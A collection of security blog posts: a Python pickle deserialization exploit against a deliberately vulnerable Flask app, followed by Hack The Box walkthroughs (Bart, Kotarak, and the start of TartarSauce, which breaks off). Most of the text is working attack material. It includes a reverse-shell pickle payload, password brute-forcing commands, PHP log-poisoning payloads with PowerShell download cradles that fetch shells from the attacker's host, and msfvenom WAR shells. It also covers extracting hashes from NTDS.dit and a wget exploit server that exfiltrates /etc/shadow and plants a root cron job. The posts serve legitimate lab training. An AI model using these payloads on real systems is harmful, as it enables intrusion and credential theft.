>>> pickled = pickle.dumps(['pickle', 'me', 1, 2, 3])
>>> import pickletools
>>> pickletools.dis(pickled)
 0: \x80 PROTO 4
 2: \x95 FRAME 25
 11: ] EMPTY_LIST
 12: \x94 MEMOIZE (as 0)
 13: ( MARK
 14: \x8c SHORT_BINUNICODE 'pickle'
 22: \x94 MEMOIZE (as 1)
 23: \x8c SHORT_BINUNICODE 'me'
 27: \x94 MEMOIZE (as 2)
 28: K BININT1 1
 30: K BININT1 2
 32: K BININT1 3
 34: e APPENDS (MARK at 13)
 35: . STOP
highest protocol among opcodes = 4

Controlling the behavior of pickling/unpickling

Not every object can be serialized (e.g. file handles) and pickling and unpickling certain objects (like functions or classes) comes with restrictions. The Python docs give you a good overview what can and cannot be pickled.

While in most cases you don’t need to do anything special to make an object “picklable”, pickle still allows you to define a custom behavior for the pickling process for your class instances.

Reading a bit further down in the docs we can see that implementing __reduce__ is exactly what we would need to get code execution, when viewed from an attacker’s perspective:

The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”). […] When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:

A callable object that will be called to create the initial version of the object.

A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument. […]

So by implementing __reduce__ in a class which instances we are going to pickle, we can give the pickling process a callable plus some arguments to run. While intended for reconstructing objects, we can abuse this for getting our own reverse shell code executed.

Creating a vulnerable app

Now that we have a basic idea of how to create dangerous data to unpickle, let’s build a vulnerable app for demonstration purposes.

We’ll use the web framework Flask to create a small web application with one route.

Let’s install Flask in a new virtual environment:

# setup virtualenv
virtualenv venv --python=/your/path/to/python

# activate
source venv/bin/activate

# install Flask
pip install Flask

And now create app.py:

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)


@app.route("/hackme", methods=["POST"])
def hackme():
 data = base64.urlsafe_b64decode(request.form['pickled'])
 deserialized = pickle.loads(data)
 # do something with deserialized or just
 # get pwned.

 return '', 204

At /hackme we implement a POST route that takes form data pickled. The data comes encoded in base64 (for transfer), is decoded and then unpickled.

Let’s run the app with flask run and then prepare our malicious pickled data to send.

Creating the exploit

As described above we want to create a class that implements __reduce__ and then serialize an instance of that class.

We’ll call our class RCE and let its __reduce__ method return a tuple of a callable and a tuple of arguments (as per the mentioned docs).

import pickle
import base64
import os


class RCE:
 def __reduce__(self):
 cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
 '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
 return os.system, (cmd,)


if __name__ == '__main__':
 pickled = pickle.dumps(RCE())
 print(base64.urlsafe_b64encode(pickled))

Our callable will be os.system and the argument a common reverse shell snippet using a named pipe, that will run on our macOS demo machine.

Now let’s run the exploit script to create a base64 encoded pickle byte stream:

$ python exploit.py
b'gASVbgAAAAAAAACMBX...

If you run pickletools.dis again, you will see the system callable plus arguments and the REDUCE opcode (R).

Sending the payload

Finally, we can start a netcat listener and send the payload to our listening Flask application:

# netcat listener for reverse shell in separate window/pane
nc -nvl 1234

# Send request
curl -d "pickled=gASVbgAAAAAAAACMBX..." http://127.0.0.1:5000/hackme

After sending the http request to /hackme, our code will execute and give us a shell back.

Lesson from this demonstration: don’t unpickle untrusted data. It doesn’t matter if you receive this pickled data from anonymous users over the network or if it’s passed to you to restore a session or program state.

If you need to work with untrusted data – depending on your use case – consider signing the data if it could have been modified on the way to you or on disk, or choose a different (safer) serialization method altogether (like JSON), as per the docs. When storing pickles on the filesystem it is also worth checking the file permissions to prevent privilege escalations through modification of those pickles.

To learn more, I recommend watching the BlackHat 2011 talk “Sour Pickles, A serialised exploitation guide in one part” by Marco Slaviero. He describes in detail the (un)pickling process, the pickle virtual machine parts, and how to craft more general shellcodes using a custom toolset.

Hack the Box Write-up #7: Bart

Sat, 21 Mar 2020 00:00:00 +0000

After doing a couple more machines on Hack The Box, Bart was one that I definitely wanted to do a write-up for.

We start with a bunch of web enumeration and discovering different directories and hostnames. Eventually, we discover a chat application, register our own user and do log poisoning to get our first low priv shell. Privilege escalation to Administrator is then accomplished by identifying AutoLogon credentials stored in the registry. On the way we read some source code, learn about 32/64-bit registry queries and running commands in a different user context.

Recon and Enumeration

Our initial nmap -sC -sV -oN nmap/init 10.10.10.81 gives:

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Since we only discovered one port (80), we do another scan for all ports (nmap -p-) while having a first look at the site running at 10.10.10.81.

We get a Location: http://forum.bart.htb/ header back. After adding the hostnames forum.bart.htb and bart.htb to /etc/hosts we are presented with the following site:

The site gives us some interesting information about employee’s names and email addresses. Additionally, another employee entry for “Harvey Potter” is commented out in the HTML source.

<!-- <div class="owl-item" style="width: 380px;"><div class="team-item">
 <div class="team-inner">
 <div class="pop-overlay">
 <div class="team-pop">
 <div class="team-info">
 <div class="name">Harvey Potter</div>
 <div class="pos">Developer@BART</div>
[...]
-->

From the HTTP headers we also learn that we’re dealing with a relatively modern Windows 2016/2019/10 (IIS 10 server header) and a PHP 7.1.7 installation.

The next step is to brute-force directories. It’s a little bit more involved this time as every request to the server returns a 200 status. To get around this, we’ll use wfuzz and filter by the number of characters of the returned data:

wfuzz --hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ.

After a while we discover the /monitor directory:

000000067: 301 1 L 10 W 145 Ch "forum" 
000001614: 301 1 L 10 W 147 Ch "monitor"

Going to http://bart.htb/monitor/ gives us a “PHP Server Monitor” instance. A quick search for public exploits reveals nothing relevant for our use case. What we can do, however, is enumerating usernames via the “Forgot Password” feature. The obvious first thing to try are the employee names that we noted down earlier.

Brute-forcing our way in

Once we know that Daniel and Harvey are valid usernames, we can try brute-forcing the password. While CSRF tokens usually make it a bit harder as we would need to fetch the updated token for every request, in this case we can get around it by just passing the same token and a valid cookie header.

hydra -L users.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-25.txt "http-post-form://bart.htb/monitor/:csrf=43aa9be1c2751cd82f916413a9d6696b501a075b0bd0a818c3a126e5aa6f809f&user_name=^USER^&user_password=^PASS^&action=login:incorrect:H=Cookie\:PHPSESSID=utstuc3mhm4glhnre75qao4t59"

After a couple of minutes, we successfully discover the password – one that we could have also guessed in the first place, I’d say :-)

[80][http-post-form] host: bart.htb login: Harvey password: potter

Logging in with the creds redirects us to monitor.bart.htb, so let’s also add this hostname to our /etc/hosts/ file.

Once logged in we discover yet another hostname: http://internal-01.bart.htb/. Let’s add this one as well and navigate there.

We land at another login prompt. This time for a “simple_chat” application.

Exploiting the left over “register.php” – or: just brute-force again

Googling for a few file names of the application, we quickly discover that this is the source code: https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat

Skimming through the code, we don’t find anything too obvious in the login logic (the sql query looks vulnerable at first sight but is not, as the password is hashed before being included in the query and the username validation also strips quotes before).

However, we could look into just creating a new user ourselves; the register_form.php was apparently deleted on the server, but nothing stops us from sending a POST to register.php, which still exists:

POST /simple_chat/register.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal-01.bart.htb/simple_chat/login_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=7v28h3a0rk34cg5el3ggmvg60p
Upgrade-Insecure-Requests: 1
uname=itsme&passwd=itsokletmein&submit=Login

An alternative approach would be to brute-force the login once more; this time it requires a slightly larger wordlist, but is still doable. As hydra was running a bit slow last time, let’s use patator this time and start only with Harvey as username:

patator http_fuzz url=http://internal-01.bart.htb/simple_chat/login.php method=POST body='uname=Harvey&passwd=FILE0&submit=Login' 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt -x ignore:fgrep='Location: login_form.php'

After about 2 minutes we get a hit:

patator INFO - 302 354:0 1.051 | Password1 | 3502 | HTTP/1.1 302 Found

Logging in, we see a chat and a log button at the top right:

Log poisoning to reverse shell

Clicking on “log” makes a XHR to:

/log/log.php?filename=log.txt&username=harvey

Going to http://internal-01.bart.htb/log/log.txt, we can see that the log.txt file was created and includes the given username and our User-Agent header.

So let’s try changing the file to “rce.php” and adding PHP code to the User-Agent header:

Sending:

GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php echo 1+1; ?>

And then requesting /log/rce.php HTTP/1.1 gives us the following output (the number 2 being our executed code 1+1):

[2020-03-21 20:54:43] - harvey - 2

Now that we can execute code by poisoning the log file, let’s prepare to get a reverse shell. I’ll use the “mini-reverse.ps1” from https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5.

To get the shell, we adjust mini-reverse.ps1 with our IP and desired port number, host it (python3 -m http.server 80), start a netcat listener (nc -lvnp 443), and then use a powershell download cradle inside the PHP code in the User-Agent header:

GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php system("powershell -c iex (new-object net.webclient).downloadstring('http://10.10.14.37/mini-reverse.ps1')"); ?>

Doing another GET /log/rce.php HTTP/1.1 will now execute our code, download mini-reverse.ps1 and initiate our connect-back shell.

Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50173.
whoami
nt authority\iusr

Escalate to Administrator

After a few manual checks, we can run an privesc enumeration script like winPEAS or PowerUp.

powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"

If we run PowerUp or the winPEAS.bat like above, however, we’ll likely miss a few things (namely registry settings), because we’re on a 64-bit system but running 32-bit PowerShell, as confirmed like so:

powershell.exe -c "[Environment]::Is64BitProcess"
False

To do enumeration in a 64-bit process we could either download and execute something like the winPEAS.exe binary or run an enumeration script by explicitly callling the 64-bit version of PowerShell:

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "[Environment]::Is64BitProcess"
True

So let’s run PowerUp again:

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"

This time we get a very obvious privilege escalation hint:

[*] Checking for Autologon credentials in registry...

DefaultDomainName : DESKTOP-7I3S68E
DefaultUserName : Administrator
DefaultPassword : 3130438f31186fbaf962f407711faddb

If you’d wanted to read the registry values without PowerShell, you would naturally also need to specify the architecture:

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword

…won’t give you anything, whereas…

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64

… will give you what you want (note /reg:64).

Getting only the flag or a full admin shell

The stored AutoLogon credentials already give us everything we need to root the box. We can now either just read the root flag or go ahead and get a full Administrator shell.

Let’s first try to read the root flag with our current shell. To do that, we can just run Get-Content as the Administrator user (see my previous blog post: Running commands in a specific user context in PowerShell):

powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\Administrator\Desktop\root.txt } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"

0074a38e6e...

Now, to get a proper Adminstrator shell, using PSExec and passing the creds is usually an easy way to go. We have one problem here, though: while the machine is listening on 135/445, the firewall doesn’t let us in. To get around a situation like this, we could open the port in the firewall (nah, not cool) or proxy the connection through another session (e.g. psexec through proxychains with meterpreter’s socks4a module), or just use what we’re already using: another Invoke-Command as Admin, but this time to load our reverse shell script again.

Starting our netcat listener again like before (using 443 once more so that we don’t need to change the script), we receive our administrator reverse shell:

powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://10.10.14.37/mini-reverse.ps1') } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"

And here we go:

Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50896.
whoami
bart\administrator

Cheers!

Hack the Box Write-up #6: Kotarak

Sun, 23 Feb 2020 00:00:00 +0000

In this write-up we’re looking at getting into the retired machine Kotarak from Hack the Box. Kotarak was a really fun box as it required lots of different techniques and was just a longer journey to root.

Our first foothold comes via leaked credentials that we can retrieve using server side request forgery. These credentials give us admin access to a Tomcat manager application where we can upload our first reverse shell. From there, we get access to both a NTDS.DIT file and a Windows SYSTEM registry hive which we can leverage to extract user hashes. Cracking these hashes, we level up to another user and eventually use a vulnerability in wget to write our SSH key into the authorized_keys file on another (virtual) host and through that get access to the root flag on there.

Recon and Enumeration

We start by mapping out open ports as always: nmap -sV -sC -oN nmap/init 10.10.10.55

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods: 
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods: 
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

While having a look at the most promising port 8080, let’s start another scan of all TCP ports in the background: nmap -p- -oN nmap/all-tcp 10.10.10.55.

Looking at the Tomcat instance on 8080 and the default manager path http://10.10.10.55/manager/html, we try a couple of default creds like tomcat:tomcat, but quickly see that these won’t get us in.

Checking back on our nmap scan in the background, we have found another open port: 60000. So let’s enumerate this one next.

An Apache instance is listening on 60000 and serves us this page:

The web application seems to fetch whatever URL we give it. Depending on how the application is fetching and outputting the given URL, we can think of two attacks here. First, can we access internal resources (services that listen only on localhost, are otherwise firewalled or running in an internal subnet), maybe even through other URL schemes (like file://). Or second, can we serve our own page and inject code that might get executed on the server when the fetched contents are further processed (given the contents are not just echoed back out).

Let’s first try to access the same site: http://127.0.0.1:60000 – this works. How about file:///etc/passwd? Nope, just a message “Try harder” comes back (that particular string seems to be filtered).

How about accessing other internal services like http://127.0.0.1:22? Looks good. So let’s fuzz all ports for the loopback address using wfuzz.

wfuzz -z file,ports.txt --hh 2 "http://10.10.10.55:60000/url.php?path=http%3A%2F%2F127.0.0.1%3AFUZZ"

We take the ports (1 - 65535) from ports.txt and for each make a request to http://127.0.0.1:<port> while hiding responses with only 2 characters (run it first without this flag to determine the right number for “empty” responses).

I later learned through ippsec’s walkthrough, that you can also do -z range,1-65355 and save the step of creating the port list file.

We get a result like the following and see a couple of promising candidates:

===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000023: 200 4 L 4 W 62 Ch "22"
000000111: 200 17 L 24 W 187 Ch "110"
000000321: 200 26 L 109 W 1232 Ch "320"
000000201: 200 3 L 2 W 22 Ch "200"
000000091: 200 11 L 18 W 156 Ch "90"
000000889: 200 78 L 265 W 3955 Ch "888"
000003307: 200 2 L 6 W 123 Ch "3306"
000008081: 200 2 L 47 W 994 Ch "8080"
000060001: 200 78 L 130 W 1171 Ch "60000"

Looking closer at them, this is what we got:

22: OpenSSH <– We knew this already
110: Website: “Test page”
320: Website: “Admin area login” <– Could be interesting
200: Website “Hello World”
90: Website: “Page under construction”
888: Website: “Simple File Viewer” <– gives us access to some documents
3306: MySQL <– Maybe interesting later
8080: Tomcat <– We knew this already
60000: This site <– We knew this already

The file viewer should be an easy first target.

Looking at the structure of the file links, the site serves these like so: ?doc=<file>. Let’s check the ones that are > 0 bytes in size.

For example, the backup file can be accessed by requesting http://127.0.0.1:888/?doc=backup via the application on 60000. And this particular file is actually a nice find. It’s a backup of a Tomcat config file which gives us our first credentials (output shortened):

<tomcat-users xmlns="http://tomcat.apache.org/xml"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 version="1.0">
 <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>
</tomcat-users>

With these credentials at hand, we can try logging in again at http://10.10.10.55:8080/manager/html. And voilà, it works!

Getting first shell

With our admin credentials for the Tomcat manager, we can deploy our own applications to the server and thus have code execution.

We’ll create a WAR file of a simple reverse shell with msfvenom and then deploy it (just like we did with the Jerry box).

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.44 LPORT=1234 -f war -o revshell.war

(We know we’re targeting a 64-bit system as the manager app gives us this information).

Once deployed, we start a listener nc -lvnp 1234, and then click on the deployed “revshell” application.

We’re getting a 404! I believe this is related to the default page settings. The easiest way to access the app is by looking inside the war file and getting the name of the JSP file. As WAR files are just zip files, we can do unzip -l revshell.war and see the name: kvlaagcipgr.jsp in my case.

Accessing http://10.10.10.55:8080/revshell/kvlaagcipgr.jsp now triggers our reverse shell correctly.

Escalating to atanas

Getting a proper shell via python -c "import pty; pty.spawn('/bin/bash')", <Ctrl>Z, stty raw -echo, fg (see previous posts for more on that), we can now look around what we have access to. Right in tomcat’s home directory, we find the following folder: to_archive/pentest_data. In it are two files that look like copies of a a) NTDS.dit file – the Active Directory database file where objects, including user hashes, are stored –, and b) Windows registry data, most likely the SYSTEM hive.

> file *
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above

We can transfer the files to our machine via netcat:

# listen on our machine
nc -lvnp 4300 > ntds.dit

# send on victim machine
nc 10.10.14.44 4300 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

A quick md5sum * tells us whether the transfer was successful.

If we indeed have the NTDS.dit and the SYSTEM registry hive, we should be able to extract users and hashes. We can do this very easily with secretsdump from Impacket. I learned about it in the article “Extracting Hashes and Domain Info From ntds.dit”.

> secretsdump.py -ntds ntds.dit -system reg.bin LOCAL

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
[...]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[...]

We’re getting lots of users, machines and hashes back. Most likely we’ll need atanas’ or Administrator’s password to proceed, so let’s get cracking:

john --format=nt --wordlist=rockyou.txt hashes

Trying two standard wordlists – rockyou and 000webhost from seclists – we quickly get both hashes cracked:

Administrator:f16tomcat!
atanas:Password123!

Trying to use any of them to open a SSH session (for root or atanas) fails.

Looking a bit more around on the machine, we see that we have multiple network interfaces (ifconfig) and can also identify a particular ARP cache entry to 10.0.3.133 on the lxcbr0 interface.

> ifconfig

eth0 Link encap:Ethernet HWaddr 00:50:56:b9:bc:8e 
 inet addr:10.10.10.55 Bcast:10.10.10.255 Mask:255.255.255.0
[...]

lo Link encap:Local Loopback 
 inet addr:127.0.0.1 Mask:255.0.0.0
[...]

lxcbr0 Link encap:Ethernet HWaddr 00:16:3e:00:00:00 
 inet addr:10.0.3.1 Bcast:0.0.0.0 Mask:255.255.255.0
[...]

> arp

Address HWtype HWaddress Flags Mask Iface
10.0.3.133 ether 00:16:3e:c9:bd:b1 C lxcbr0
10.10.10.2 ether 00:50:56:b9:90:ea C eth0

Checking with nc 10.0.3.133 22 we see the container host is alive and a SSH server is listening. Unfortunately, our passwords don’t work here either.

Taking a step back and looking at the sshd_config on the main host, we see that only root is allowed to login. So maybe the creds work when we use them directly in our existing shell via su?

su - atanas with password f16tomcat! works! We have now escalated to atanas.

Getting root in the container

Interestingly, atanas owns two files in the /root directory (app.log and flag.txt):

app.log looks like an Apache access log file. We see 2 minute apart GET requests from 10.0.3.133 (the host we discovered earlier) with a user agent of Wget/1.16:

10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

This is probably a cron job set up to run every two minutes. The user agent gives away that an old version of wget is used.

Doing a quick check for known vulnerabilities for this wget version, we quickly find “GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution” via searchsploit wget or exploit-db.com, respectively.

This exploit seems to be exactly what we need in this case. You can read about the details on the exploit page, but in short: we’re able to trick wget into storing a local file by redirecting the request to a FTP server. By sending a .wgetrc file, we can change the behavior of wget (if run from the home directory) on the next request to send us file contents of any file the user of the cron job has access to (if root, all) and/or to define a destination directory for fetched files. Doing the latter, we can return a file in crontab format, store it in /etc/cron.d (via the .wgetrc setting) and then get any command to execute when the cron is run (we can set it to execute every 1 minute).

The exploit script contains almost everything we need, so we’ll just adjust it minimally. It also comes in handy, that we already have a python ftp server package (pyftpdlib) installed on the box (check with pip list) :-)

There’s only one part that is missing: how can we setup a webserver to listen on port 80 (we can see the requests are not coming through the other ports) when we a) are not root, so cannot use privileged ports and b) cannot modify the httpd’s config, place .htaccess files, or control the Apache service in general.

The missing piece is authbind and it took me waaaay too long to figure this out.

authbind allows a program which does not or should not run as root to bind to low-numbered ports in a controlled way. (man page).

authbind is installed on the machine, so it’s possible to do something like authbind nc -lvnp 80 and listen on privileged port 80 as our low-priv user. Doing this, we can also verify that we indeed get a request every two minutes on this port:

atanas@kotarak-dmz:/var/log/apache2$ authbind nc -lvnp 80 
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 46080)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive

Cool! So let’s set up our attack and use the code just like described in the proof of concept on exploit-db.com.

> mkdir /tmp/ftp
> cd /tmp/ftp
> vim .wgetrc # and paste the following contents

post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell

> vim server.py # and paste the following contents

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
 def do_GET(self):
 # This takes care of sending .wgetrc
 print "We have a volunteer requesting " + self.path + " by GET :)\n"
 if "Wget" not in self.headers.getheader('User-Agent'):
	 print "But it's not a Wget :( \n"
 self.send_response(200)
 self.end_headers()
 self.wfile.write("Nothing to see here...")
 return

 print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
 self.send_response(301)
 new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
 print "Sending redirect to %s \n"%(new_path)
 self.send_header('Location', new_path)
 self.end_headers()

 def do_POST(self):
 # In here we will receive extracted file and install a PoC cronjob

 print "We have a volunteer requesting " + self.path + " by POST :)\n"
 if "Wget" not in self.headers.getheader('User-Agent'):
	 print "But it's not a Wget :( \n"
 self.send_response(200)
 self.end_headers()
 self.wfile.write("Nothing to see here...")
 return

 content_len = int(self.headers.getheader('content-length', 0))
 post_body = self.rfile.read(content_len)
 print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

 print "Sending back a cronjob script as a thank-you for the file..." 
 print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
 self.send_response(200)
 self.send_header('Content-type', 'text/plain')
 self.end_headers()
 self.wfile.write(ROOT_CRON)

 print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"

 return

HTTP_LISTEN_IP = '10.0.3.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.0.3.1'
FTP_PORT = 21

ROOT_CRON = "* * * * * root mkdir -p /root/.ssh; echo 'ssh-rsa AAAAB3N...QN2DbQ==' >> /root/.ssh/authorized_keys \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
 print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
 print "FTP is down :( Exiting."
 exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

handler.serve_forever()

I changed the IP to 10.0.3.1 as this is the IP address of the lxcbr0 interface. I also changed what the cron job should do, which is, adding our pub-key to the authorized_keys files in the /root/.ssh directory (every minute). Apart from these changes, the code is just like it appears in the proof of concept.

You can quickly generate your own keypair using ssh-keygen -t rsa -b 4096.

Now everything is prepared and we can start the FTP and web server. As we only have one terminal, let’s background the FTP server (we will still get the output):

authbind python -m pyftpdlib -p21 &
authbind python server.py

On an even minute we see the GET /archive.tar.gz to the web server, which is then redirected to the FTP server. The FTP server serves the .wgetrc file as expected.

Two minutes later, we’ll get a POST (as we modified the .wgetrc) with the contents of the shadow file:

root:*:17366:0:99999:7:::
[...]
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::

(Since we try to directly get root access via our cron, we don’t need to bother with the retrieved hash of the ubuntu user for now).

One minute later, our installed cron should have added our key to the authorized_keys file. We can now stop the web server (<Ctrl>C and the FTP server jobs; kill %1) and try logging in after waiting this one minute:

ssh -i key root@10.0.3.133

It works, and we are root in the container:

root@kotarak-int:~# id
uid=0(root) gid=0(root) groups=0(root)
root@kotarak-int:~# hostname
kotarak-int
root@kotarak-int:~# cat /proc/1/environ
container=lxccontainer_ttys=/dev/pts/0 /dev/pts/1 /dev/pts/2 /dev/pts/3

To not endlessly continue to append our key to the authorized_keys file, we can remove the cron job again: rm /etc/cron.d/wget-root-shell.

Cheers!

More goodness: There’s a fun unintentional way to get to the root flag. Checkout the ippsec video for this box.

Hack the Box Write-up #5: TartarSauce

Mon, 10 Feb 2020 00:00:00 +0000

In this write-up we’re looking at solving the retired machine “TartarSauce” from Hack The Box.

After spending some time on the hosted web applications, we’ll eventually get the first foothold via an outdated Wordpress plugin. From there we can upgrade to a user shell by abusing the tar command. Eventually, we get root by abusing tar once more, but this time as part of a backup script and in a bit more involved way.

Recon and Enumeration

As usual, we run our initial nmap scan nmap -sV -sC -oN nmap/init 10.10.10.88

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page

While only getting back one open port, the listed entries in the robots.txt file do look promising.

Note that entries in the robots.txt file don’t “hide” pages/directories. While they indicate to crawlers what you want and don’t want to have indexed, they are a) only an advisory and not a technically imposed rule, and b) can give an attacker a first idea of what you don’t want exposed or have removed from public search engines.

Let’s start by visiting the root path of 10.10.10.88:

Nothing interesting to see here except some ascii art and a little troll at the end of the page source after hundreds of line feeds: .

Let’s start a directory brute-force of / and /webservices while going through the list of disallowed robots.txt entries:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.88/webservices

Out of the five paths listed in robots.txt, only /webservices/monstra-3.0.4/ is available.

Monstra is a Content Management System written in PHP, apparently not further developed anymore and the version it displays has several known security vulnerabilities. Doing a searchsploit monstra in Kali shows (Authenticated) Arbitrary File Upload / Remote Code Execution as the most promising weakness related to this version.

As it requires prior authentication, let’s go over to http://10.10.10.88/webservices/monstra-3.0.4/admin/ and attempt a login with common credentials.

admin and admin as user/password works right off the bat and we’re inside the admin interface.

Examining the potential exploit (searchsploit -x 43348), it looks like a simple file upload could give us remote code execution via PHP. Trying it out, however, we quickly find the upload functionality does not work for any file, and we can see that doing any kind of modification in the admin panel leads to errors as well (e.g. modifying a template).

The vulnerability does not seem to be exploitable, even though in theory it should be. I like this, because it reflects a very common situation in real life, where vulnerabilities exist, but cannot be exploited due to the presence of certain configurations or just lucky circumstances.

